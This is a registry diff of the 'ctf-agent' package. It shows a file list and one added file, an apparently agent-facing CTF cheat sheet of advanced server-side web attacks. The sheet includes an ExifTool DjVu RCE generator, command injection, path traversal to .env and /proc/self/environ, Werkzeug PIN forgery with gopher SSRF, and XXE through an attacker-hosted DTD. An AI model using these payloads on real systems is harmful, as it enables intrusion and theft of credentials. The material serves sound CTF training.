ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,378 @@
|
|
|
1
|
+
# CTF Web - Advanced Server-Side Techniques
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [ExifTool CVE-2021-22204 — DjVu Perl Injection (0xFun 2026)](#exiftool-cve-2021-22204--djvu-perl-injection-0xfun-2026)
|
|
5
|
+
- [Go Rune/Byte Length Mismatch + Command Injection (VuwCTF 2025)](#go-runebyte-length-mismatch--command-injection-vuwctf-2025)
|
|
6
|
+
- [Zip Symlink Path Traversal (UTCTF 2024)](#zip-symlink-path-traversal-utctf-2024)
|
|
7
|
+
- [Path Traversal Bypass Techniques](#path-traversal-bypass-techniques)
|
|
8
|
+
- [Brace Stripping](#brace-stripping)
|
|
9
|
+
- [Double URL Encoding](#double-url-encoding)
|
|
10
|
+
- [Python os.path.join](#python-ospathjoin)
|
|
11
|
+
- [Nginx Alias Traversal to Leak .env (VolgaCTF 2018)](#nginx-alias-traversal-to-leak-env-volgactf-2018)
|
|
12
|
+
- [/dev/fd Symlink to Bypass /proc Filter (Google CTF 2017)](#devfd-symlink-to-bypass-proc-filter-google-ctf-2017)
|
|
13
|
+
- [Unicode Homoglyph Path Traversal U+2E2E (CSAW 2017)](#unicode-homoglyph-path-traversal-u2e2e-csaw-2017)
|
|
14
|
+
- [Ruby Regexp.escape Multibyte Character Bypass (Square CTF 2017)](#ruby-regexpescape-multibyte-character-bypass-square-ctf-2017)
|
|
15
|
+
- [Flask/Werkzeug Debug Mode Exploitation](#flaskwerkzeug-debug-mode-exploitation)
|
|
16
|
+
- [XXE with External DTD Filter Bypass](#xxe-with-external-dtd-filter-bypass)
|
|
17
|
+
- [Path Traversal: URL-Encoded Slash Bypass](#path-traversal-url-encoded-slash-bypass)
|
|
18
|
+
|
|
19
|
+
See also: [server-side-advanced-2.md](server-side-advanced-2.md) for Part 2 (SSRF-to-Docker, Castor XML, Apache ErrorDocument, SQLite path traversal, HQL non-breaking space, base64 path traversal, 8.3 short filename bypass, parse_url @ bypass, PHP zip:// LFI, XSS-to-SSTI, INSERT column shift, session cookie forgery). See also: [server-side-advanced-3.md](server-side-advanced-3.md) for Part 3 (WAV polyglot, multi-slash URL bypass, Xalan math:random, SoapClient CRLF, gopher no-host, SSRF credential leak). See also: [server-side-advanced-4.md](server-side-advanced-4.md) for Part 4 (WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, wget CRLF SMTP, Gopher→MySQL SQLi, React Server Components RCE, AMQP/TLS sslsplit, CairoSVG XXE, Bazaar repo reconstruction).
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## ExifTool CVE-2021-22204 — DjVu Perl Injection (0xFun 2026)
|
|
24
|
+
|
|
25
|
+
**Affected:** ExifTool ≤ 12.23
|
|
26
|
+
|
|
27
|
+
**Vulnerability:** DjVu ANTa annotation chunk parsed with Perl `eval`.
|
|
28
|
+
|
|
29
|
+
**Craft minimal DjVu exploit:**
|
|
30
|
+
```python
|
|
31
|
+
import struct
|
|
32
|
+
|
|
33
|
+
def make_djvu_exploit(command):
|
|
34
|
+
# ANTa chunk with Perl injection
|
|
35
|
+
ant_data = f'(metadata "\\c${{{command}}}")'.encode()
|
|
36
|
+
|
|
37
|
+
# INFO chunk (1x1 image)
|
|
38
|
+
info = struct.pack('>HHBBii', 1, 1, 24, 0, 300, 300)
|
|
39
|
+
|
|
40
|
+
# Build DJVU FORM
|
|
41
|
+
djvu_body = b'DJVU'
|
|
42
|
+
djvu_body += b'INFO' + struct.pack('>I', len(info)) + info
|
|
43
|
+
if len(info) % 2: djvu_body += b'\x00'
|
|
44
|
+
djvu_body += b'ANTa' + struct.pack('>I', len(ant_data)) + ant_data
|
|
45
|
+
if len(ant_data) % 2: djvu_body += b'\x00'
|
|
46
|
+
|
|
47
|
+
# FORM header
|
|
48
|
+
# AT&T = optional 4-byte prefix; FORM = IFF chunk type (separate fields)
|
|
49
|
+
djvu = b'AT&T' + b'FORM' + struct.pack('>I', len(djvu_body)) + djvu_body
|
|
50
|
+
return djvu
|
|
51
|
+
|
|
52
|
+
exploit = make_djvu_exploit("system('cat /flag.txt')")
|
|
53
|
+
with open('exploit.djvu', 'wb') as f:
|
|
54
|
+
f.write(exploit)
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
**Detection:** Check ExifTool version. DjVu format is the classic vector. Upload the crafted DjVu to any endpoint that processes images with ExifTool.
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## Go Rune/Byte Length Mismatch + Command Injection (VuwCTF 2025)
|
|
62
|
+
|
|
63
|
+
**Pattern (Go Go Cyber Ranger):** Go validates `len([]rune(input)) > 32` but copies `len([]byte(input))` bytes.
|
|
64
|
+
|
|
65
|
+
**Key insight:** Multi-byte UTF-8 chars (emoji = 4 bytes) count as 1 rune but 4 bytes → overflow.
|
|
66
|
+
|
|
67
|
+
**Exploit:** 8 emoji (32 bytes, 8 runes) + `";cmd\n"` = 40 bytes total, passes 32-rune check but overflows into adjacent buffer.
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# If flag check uses: exec.Command("/bin/sh", "-c", fmt.Sprintf("test \"%s\" = \"%s\"", flag, input))
|
|
71
|
+
# Inject 8 4-byte UTF-8 characters (\U0001F525) to trigger rune vs byte length overflow: ";od f*\n"
|
|
72
|
+
payload="$(python3 -c "print('\U0001F525'*8)")\";od f*\n"
|
|
73
|
+
curl -X POST http://target/check -d "secret=$payload"
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
**Detection:** Go web app with length check on `[]rune` followed by byte-level operations (copy, buffer write). Always check for rune/byte mismatch in Go.
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Zip Symlink Path Traversal (UTCTF 2024)
|
|
81
|
+
|
|
82
|
+
**Pattern (Schrödinger):** Server extracts uploaded ZIP without checking symlinks.
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
# Create symlink to target file, zip with -y to preserve
|
|
86
|
+
ln -s /path/to/flag.txt file.txt
|
|
87
|
+
zip -y exploit.zip file.txt
|
|
88
|
+
# Upload → server follows symlink → exposes file content
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
**Detection:** Any upload+extract endpoint. `zip -y` preserves symlinks. Many zip extraction utilities follow symlinks by default.
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Path Traversal Bypass Techniques
|
|
96
|
+
|
|
97
|
+
### Brace Stripping
|
|
98
|
+
`{.}{.}/flag.txt` → `../flag.txt` after processing
|
|
99
|
+
|
|
100
|
+
### Double URL Encoding
|
|
101
|
+
`%252E%252E%252F` → `../` after two decode passes
|
|
102
|
+
|
|
103
|
+
### Python os.path.join
|
|
104
|
+
`os.path.join('/app/public', '/etc/passwd')` → `/etc/passwd` (absolute path ignores prefix)
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
### Nginx Alias Traversal to Leak .env (VolgaCTF 2018)
|
|
109
|
+
|
|
110
|
+
**Pattern:** Nginx `alias` misconfiguration allows path traversal when a `location` block's path doesn't end with `/` but the `alias` does. The path remainder is appended unsafely, allowing `..` traversal out of the aliased directory.
|
|
111
|
+
|
|
112
|
+
```nginx
|
|
113
|
+
# Vulnerable Nginx configuration:
|
|
114
|
+
location /laravel {
|
|
115
|
+
alias /var/www/html/public/;
|
|
116
|
+
}
|
|
117
|
+
# Note: /laravel has NO trailing slash, but alias has one
|
|
118
|
+
# This creates a join mismatch: /laravel<anything> maps to /var/www/html/public/<anything>
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
# Exploit: traverse out of the public/ directory to read .env
|
|
123
|
+
GET /laravel../.env HTTP/1.1
|
|
124
|
+
# Nginx resolves: alias "/var/www/html/public/" + "../.env" = /var/www/html/.env
|
|
125
|
+
|
|
126
|
+
# Read application source
|
|
127
|
+
GET /laravel../app/Http/Controllers/AuthController.php HTTP/1.1
|
|
128
|
+
|
|
129
|
+
# Read other config files
|
|
130
|
+
GET /laravel../config/database.php HTTP/1.1
|
|
131
|
+
GET /laravel../storage/logs/laravel.log HTTP/1.1
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
```python
|
|
135
|
+
import requests
|
|
136
|
+
|
|
137
|
+
target = "http://target"
|
|
138
|
+
|
|
139
|
+
# Leak Laravel .env file (contains APP_KEY, DB credentials, etc.)
|
|
140
|
+
r = requests.get(f"{target}/laravel../.env")
|
|
141
|
+
if r.status_code == 200:
|
|
142
|
+
print("[+] .env contents:")
|
|
143
|
+
print(r.text)
|
|
144
|
+
# Look for APP_KEY, DB_PASSWORD, API keys, etc.
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
**Detection checklist:**
|
|
148
|
+
```text
|
|
149
|
+
# Test for the misconfiguration on common paths:
|
|
150
|
+
/static../
|
|
151
|
+
/assets../
|
|
152
|
+
/public../
|
|
153
|
+
/media../
|
|
154
|
+
/uploads../
|
|
155
|
+
/laravel../
|
|
156
|
+
# Any location block using alias without matching trailing slashes
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
**Key insight:** When an Nginx `location` directive lacks a trailing slash but its `alias` has one, the path is joined unsafely, allowing `..` traversal out of the aliased directory. This is a common misconfiguration in Laravel deployments where `/laravel` maps to the `public/` directory. Always check for trailing slash mismatches between `location` and `alias` directives.
|
|
160
|
+
|
|
161
|
+
---
|
|
162
|
+
|
|
163
|
+
## Unicode Homoglyph Path Traversal U+2E2E (CSAW 2017)
|
|
164
|
+
|
|
165
|
+
**Pattern:** U+2E2E (REVERSED QUESTION MARK, UTF-8: `E2 B8 AE`) normalizes to a period (U+002E, 0x2E) in some Python HTTP backends and Unicode normalization layers. Sending `%E2%B8%AE%E2%B8%AE/flag.txt` bypasses ASCII dot checks (`..` blocked) while the resolved path becomes `../flag.txt`.
|
|
166
|
+
|
|
167
|
+
```bash
|
|
168
|
+
# Standard path traversal blocked by ASCII dot check:
|
|
169
|
+
curl "http://target/files/../../flag.txt" # blocked: contains ".."
|
|
170
|
+
|
|
171
|
+
# U+2E2E homoglyph bypass:
|
|
172
|
+
curl "http://target/files/%E2%B8%AE%E2%B8%AE/flag.txt"
|
|
173
|
+
# Backend normalizes E2B8AE → 0x2E (period), resolves as ../flag.txt
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
```python
|
|
177
|
+
import requests
|
|
178
|
+
|
|
179
|
+
# U+2E2E = REVERSED QUESTION MARK (⸮), UTF-8: 0xE2 0xB8 0xAE
|
|
180
|
+
# Normalizes to FULL STOP (.) in NFKC/NFC after some transformations
|
|
181
|
+
|
|
182
|
+
homoglyph_dot = '\u2E2E'
|
|
183
|
+
payload = f"{homoglyph_dot}{homoglyph_dot}/flag.txt"
|
|
184
|
+
|
|
185
|
+
r = requests.get(f"http://target/files/{payload}")
|
|
186
|
+
# If backend normalizes Unicode before filesystem access but after validation:
|
|
187
|
+
print(r.text)
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**Other Unicode dot homoglyphs to try:**
|
|
191
|
+
```text
|
|
192
|
+
U+2E2E ⸮ REVERSED QUESTION MARK (E2 B8 AE) → .
|
|
193
|
+
U+FF0E . FULLWIDTH FULL STOP (EF BC 8E) → .
|
|
194
|
+
U+2024 ․ ONE DOT LEADER (E2 80 A4) → .
|
|
195
|
+
U+FE52 ﹒ SMALL FULL STOP (EF B9 92) → .
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
**Key insight:** Unicode normalization inconsistencies between the validation layer and execution layer enable path traversal with non-ASCII dot homoglyphs. U+2E2E is a lesser-known alternative to fullwidth tricks (U+FF0E). Test normalization forms NFKC and NFC — Python's `unicodedata.normalize('NFKC', char)` reveals what each character collapses to.
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## Ruby Regexp.escape Multibyte Character Bypass (Square CTF 2017)
|
|
203
|
+
|
|
204
|
+
**Pattern:** Ruby's `Regexp.escape` operates byte-by-byte. A `%bf` byte followed by `%5c` (backslash) forms a valid GBK/Big5 multibyte character, consuming the backslash. This leaves subsequent characters unescaped, breaking the intended regex escaping.
|
|
205
|
+
|
|
206
|
+
```ruby
|
|
207
|
+
# Regexp.escape escapes special chars by prepending backslash
|
|
208
|
+
# e.g., Regexp.escape("a.b") → "a\\.b"
|
|
209
|
+
|
|
210
|
+
# Vulnerability: byte 0xBF followed by 0x5C (backslash) is a valid GBK character
|
|
211
|
+
# Regexp.escape sees 0xBF → not a special char, passes through
|
|
212
|
+
# Then sees 0x5C → escapes it to 0x5C 0x5C (double backslash)
|
|
213
|
+
# But in GBK: 0xBF 0x5C is ONE character (the lead byte absorbs the backslash)
|
|
214
|
+
# So the "escape" produces: 0xBF 0x5C 0x5C = GBK_char + 0x5C
|
|
215
|
+
# The second backslash then escapes the NEXT character, not the intended one
|
|
216
|
+
|
|
217
|
+
# Result: subsequent input characters become unescaped in the regex
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
```python
|
|
221
|
+
# In a CTF context: HTTP request with GBK lead byte in parameter
|
|
222
|
+
import requests
|
|
223
|
+
|
|
224
|
+
# %bf%5c in URL-encoded form — in GBK this is one character
|
|
225
|
+
# When Ruby calls Regexp.escape on the input, the backslash is consumed
|
|
226
|
+
payload = "\xbf\x5c" + ".*" # GBK char eats the backslash; .* is now unescaped in regex
|
|
227
|
+
|
|
228
|
+
r = requests.get("http://target/search", params={"q": payload})
|
|
229
|
+
# If backend uses: /#{Regexp.escape(params[:q])}/ as a regex pattern
|
|
230
|
+
# The .* passes through unescaped, matching any string
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
**Exploitation scenario:**
|
|
234
|
+
```ruby
|
|
235
|
+
# Vulnerable code:
|
|
236
|
+
pattern = /#{Regexp.escape(user_input)}/
|
|
237
|
+
if flag.match(pattern)
|
|
238
|
+
puts "Match!"
|
|
239
|
+
end
|
|
240
|
+
|
|
241
|
+
# Inject: "\xbf\x5c.*" → Regexp.escape produces "\xbf\\\\..*"
|
|
242
|
+
# In GBK context: first two bytes are one char, leaving ".*" unescaped
|
|
243
|
+
# Pattern becomes: /\xbf\\.*/ which in GBK matches the flag (greedy .*)
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
**Key insight:** Byte-level escaping functions are vulnerable to multibyte character injection. A GBK/Big5 lead byte (0xBF) followed by 0x5C forms a valid single character, consuming the backslash that `Regexp.escape` just added. This leaves subsequent characters unescaped. Check for non-ASCII input handling in Ruby regex validation, especially when the application supports CJK character sets.
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## /dev/fd Symlink to Bypass /proc Filter (Google CTF 2017)
|
|
251
|
+
|
|
252
|
+
**Pattern:** When an application filters `/proc` in file read parameters to prevent access to process information, `/dev/fd` provides an alternative path since it is a symlink to `/proc/self/fd` on Linux.
|
|
253
|
+
|
|
254
|
+
```bash
|
|
255
|
+
# Bypass /proc filter to read environment variables
|
|
256
|
+
curl "http://target/?f=/dev/fd/../environ"
|
|
257
|
+
# /dev/fd -> /proc/self/fd, then ../ traverses to /proc/self/
|
|
258
|
+
|
|
259
|
+
# Read command line
|
|
260
|
+
curl "http://target/?f=/dev/fd/../cmdline"
|
|
261
|
+
|
|
262
|
+
# Read memory maps
|
|
263
|
+
curl "http://target/?f=/dev/fd/../maps"
|
|
264
|
+
|
|
265
|
+
# Read specific file descriptor contents
|
|
266
|
+
curl "http://target/?f=/dev/fd/0" # stdin
|
|
267
|
+
curl "http://target/?f=/dev/fd/1" # stdout
|
|
268
|
+
curl "http://target/?f=/dev/fd/3" # often a database or config file
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
**Other /proc filter bypass paths:**
|
|
272
|
+
```text
|
|
273
|
+
/dev/fd/../environ # → /proc/self/environ
|
|
274
|
+
/dev/fd/../cmdline # → /proc/self/cmdline
|
|
275
|
+
/dev/fd/../maps # → /proc/self/maps
|
|
276
|
+
/dev/fd/../status # → /proc/self/status
|
|
277
|
+
/dev/fd/../cwd/app.py # → /proc/self/cwd/app.py (working dir)
|
|
278
|
+
/dev/stdin/../environ # /dev/stdin → /proc/self/fd/0, then ../
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
**Key insight:** `/dev/fd` is a symlink to `/proc/self/fd` on Linux. Traversing up with `../` reaches `/proc/self/`, bypassing blocklist checks for the literal string `/proc`. Similarly, `/dev/stdin`, `/dev/stdout`, and `/dev/stderr` link into `/proc/self/fd/` and can be used as traversal pivot points. Always test these alternatives when `/proc` is blacklisted.
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
## Flask/Werkzeug Debug Mode Exploitation
|
|
286
|
+
|
|
287
|
+
**Pattern (Meowy, Nullcon 2026):** Flask app with Werkzeug debugger enabled + weak session secret.
|
|
288
|
+
|
|
289
|
+
**Attack chain:**
|
|
290
|
+
1. **Session secret brute-force:** When secret is generated from weak RNG (e.g., `random_word` library, short strings):
|
|
291
|
+
```bash
|
|
292
|
+
flask-unsign --unsign --cookie "eyJ..." --wordlist wordlist.txt
|
|
293
|
+
# Or brute-force programmatically:
|
|
294
|
+
for word in wordlist:
|
|
295
|
+
try:
|
|
296
|
+
data = decode_flask_cookie(cookie, word)
|
|
297
|
+
print(f"Secret: {word}, Data: {data}")
|
|
298
|
+
except: pass
|
|
299
|
+
```
|
|
300
|
+
2. **Forge admin session:** Once secret is known, forge `is_admin=True`:
|
|
301
|
+
```bash
|
|
302
|
+
flask-unsign --sign --cookie '{"is_admin": true}' --secret "found_secret"
|
|
303
|
+
```
|
|
304
|
+
3. **SSRF via pycurl:** If `/fetch` endpoint uses pycurl, target `http://127.0.0.1/admin/flag`
|
|
305
|
+
4. **Header bypass:** Some endpoints check `X-Fetcher` or similar custom headers — include in SSRF request
|
|
306
|
+
|
|
307
|
+
**Werkzeug debugger RCE:** If `/console` is accessible:
|
|
308
|
+
1. **Read system identifiers via SSRF:** `/etc/machine-id`, `/sys/class/net/eth0/address`
|
|
309
|
+
2. **Get console SECRET:** Fetch `/console` page, extract `SECRET = "..."` from HTML
|
|
310
|
+
3. **Compute PIN cookie:**
|
|
311
|
+
```python
|
|
312
|
+
import hashlib
|
|
313
|
+
h = hashlib.sha1()
|
|
314
|
+
for bit in (username, "flask.app", "Flask", modfile, str(node), machine_id):
|
|
315
|
+
h.update(bit.encode() if isinstance(bit, str) else bit)
|
|
316
|
+
h.update(b"cookiesalt")
|
|
317
|
+
cookie_name = "__wzd" + h.hexdigest()[:20]
|
|
318
|
+
h.update(b"pinsalt")
|
|
319
|
+
num = f"{int(h.hexdigest(), 16):09d}"[:9]
|
|
320
|
+
pin = "-".join([num[:3], num[3:6], num[6:]])
|
|
321
|
+
pin_hash = hashlib.sha1(f"{pin} added salt".encode()).hexdigest()[:12]
|
|
322
|
+
```
|
|
323
|
+
4. **Execute via gopher SSRF:** If direct access is blocked, use gopher to send HTTP request with PIN cookie:
|
|
324
|
+
```python
|
|
325
|
+
cookie = f"{cookie_name}={int(time.time())}|{pin_hash}"
|
|
326
|
+
req = f"GET /console?__debugger__=yes&cmd={cmd}&frm=0&s={secret} HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nCookie: {cookie}\r\n\r\n"
|
|
327
|
+
gopher_url = "gopher://127.0.0.1:5000/_" + urllib.parse.quote(req)
|
|
328
|
+
# SSRF to gopher_url
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
**Key insight:** Even when Werkzeug console is only reachable from localhost, the combination of SSRF + gopher protocol allows full PIN bypass and RCE. The PIN trust cookie authenticates the session without needing the actual PIN entry.
|
|
332
|
+
|
|
333
|
+
---
|
|
334
|
+
|
|
335
|
+
## XXE with External DTD Filter Bypass
|
|
336
|
+
|
|
337
|
+
**Pattern (PDFile, PascalCTF 2026):** Upload endpoint filters keywords ("file", "flag", "etc") in uploaded XML, but external DTD fetched via HTTP is NOT filtered.
|
|
338
|
+
|
|
339
|
+
**Technique:** Host malicious DTD on webhook.site or attacker server:
|
|
340
|
+
```xml
|
|
341
|
+
<!-- Remote DTD (hosted on webhook.site) -->
|
|
342
|
+
<!ENTITY % data SYSTEM "file:///app/flag.txt">
|
|
343
|
+
<!ENTITY leak "%data;">
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
```xml
|
|
347
|
+
<!-- Uploaded XML (clean, passes filter) -->
|
|
348
|
+
<?xml version="1.0"?>
|
|
349
|
+
<!DOCTYPE book SYSTEM "http://webhook.site/TOKEN">
|
|
350
|
+
<book><title>&leak;</title></book>
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
**Key insight:** XML parser fetches and processes external DTD without applying the upload keyword filter. Response includes flag in parsed field.
|
|
354
|
+
|
|
355
|
+
**Setup with webhook.site API:**
|
|
356
|
+
```python
|
|
357
|
+
import requests
|
|
358
|
+
TOKEN = requests.post("https://webhook.site/token").json()["uuid"]
|
|
359
|
+
dtd = '<!ENTITY % d SYSTEM "file:///app/flag.txt"><!ENTITY leak "%d;">'
|
|
360
|
+
requests.put(f"https://webhook.site/token/{TOKEN}/request/...",
|
|
361
|
+
json={"default_content": dtd, "default_content_type": "text/xml"})
|
|
362
|
+
```
|
|
363
|
+
|
|
364
|
+
---
|
|
365
|
+
|
|
366
|
+
## Path Traversal: URL-Encoded Slash Bypass
|
|
367
|
+
|
|
368
|
+
**`%2f` bypass:** Nginx route matching doesn't decode `%2f` but filesystem does:
|
|
369
|
+
```bash
|
|
370
|
+
curl 'https://target/public%2f../nginx.conf'
|
|
371
|
+
# Nginx sees "/public%2f../nginx.conf" → matches /public/ route
|
|
372
|
+
